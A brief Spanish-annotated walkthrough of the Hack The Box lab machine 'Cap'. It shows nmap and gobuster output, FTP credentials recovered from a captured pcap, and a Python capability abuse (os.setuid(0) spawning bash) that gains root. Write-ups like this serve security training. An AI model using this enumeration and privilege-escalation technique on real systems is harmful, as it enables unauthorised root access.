Cap

namp

```
# Nmap 7.94SVN scan initiated Fri Aug 23 20:48:08 2024 as: nmap -sV -sC -oN nmap.scan 10.10.10.245
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.46s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Fri, 23 Aug 2024 18:48:27 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 23 Aug 2024 18:48:20 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 23 Aug 2024 18:48:21 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
```

| </head>
| <body>
| <h1> Bad Request </h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

#Vemos el puerto 80. Añadiremos la dirección al fichero hosts.
cat /etc/hosts
10.10.10.245 cap.htb

wfuzz

#Fuzzeamos en /data/ pra buscar lagun otro reporte interesante para descargar.
#Encontramos el reporte http://cap.htb/data/0. Lo descargamos

```
gobuster fuzz -u http://cap.htb/data/FUZZ -w /root/Desktop/machines/Cap/numbers.txt --no-error -q
Found: [Status=302] [Length=208] [Word=5] http://cap.htb/data/5

Found: [Status=302] [Length=208] [Word=8] http://cap.htb/data/8

Found: [Status=302] [Length=208] [Word=6] http://cap.htb/data/6

Found: [Status=302] [Length=208] [Word=7] http://cap.htb/data/7

Found: [Status=302] [Length=208] [Word=9] http://cap.htb/data/9

Found: [Status=302] [Length=208] [Word=10] http://cap.htb/data/10

Found: [Status=302] [Length=208] [Word=11] http://cap.htb/data/11

Found: [Status=302] [Length=208] [Word=12] http://cap.htb/data/12

Found: [Status=302] [Length=208] [Word=13] http://cap.htb/data/13

Found: [Status=200] [Length=17144] [Word=4] http://cap.htb/data/4

Found: [Status=200] [Length=17144] [Word=3] http://cap.htb/data/3

Found: [Status=200] [Length=17147] [Word=0] http://cap.htb/data/0

Found: [Status=302] [Length=208] [Word=14] http://cap.htb/data/14

Found: [Status=200] [Length=17144] [Word=2] http://cap.htb/data/2

Found: [Status=302] [Length=208] [Word=15] http://cap.htb/data/15

Found: [Status=302] [Length=208] [Word=16] http://cap.htb/data/16

Found: [Status=302] [Length=208] [Word=17] http://cap.htb/data/17

Found: [Status=302] [Length=208] [Word=18] http://cap.htb/data/18

Found: [Status=302] [Length=208] [Word=19] http://cap.htb/data/19

Found: [Status=302] [Length=208] [Word=20] http://cap.htb/data/20

Found: [Status=302] [Length=208] [Word=21] http://cap.htb/data/21

Found: [Status=302] [Length=208] [Word=22] http://cap.htb/data/22

Found: [Status=302] [Length=208] [Word=23] http://cap.htb/data/23

Found: [Status=302] [Length=208] [Word=24] http://cap.htb/data/24

Found: [Status=302] [Length=208] [Word=26] http://cap.htb/data/26

Found: [Status=302] [Length=208] [Word=25] http://cap.htb/data/25

Found: [Status=302] [Length=208] [Word=27] http://cap.htb/data/27

Found: [Status=302] [Length=208] [Word=28] http://cap.htb/data/28

Found: [Status=200] [Length=17153] [Word=1] http://cap.htb/data/1
```

#Vemos las credenciales de un conexión ftp.

37	4.126526	192.168.196.16	192.168.196.1	TCP	56	21 → 54411 [ACK] Seq=21 Ack=14 Win=64256 Len=0
36	4.126500	192.168.196.1	192.168.196.16	FTP	69	Request: USER nathan
38	4.126630	192.168.196.16	192.168.196.1	FTP	90	Response: 331 Please specify the password.
40	5.424998	192.168.196.1	192.168.196.16	FTP	78	Request: PASS Buck3tH4TF0RM3!
39	4.167701	192.168.196.1	192.168.196.16	TCP	62	54411 → 21 [ACK] Seq=14 Ack=55 Win=1051136 Len=0

#Probamos las credenciales con ssh.

user:nathan
passwd: Buck3tH4TF0RM3!

priv_escalation

#Para escalar privilegios solo tendremos que observar el fichero linepeas.sh que tenemos en el escritorio.

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

#Vemos que el binario /usr/bin/python3.8 tiene los permisos para añadir uid.
#Ejecutamos el binario y ya somos root.

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
root@cap:~# whoami
root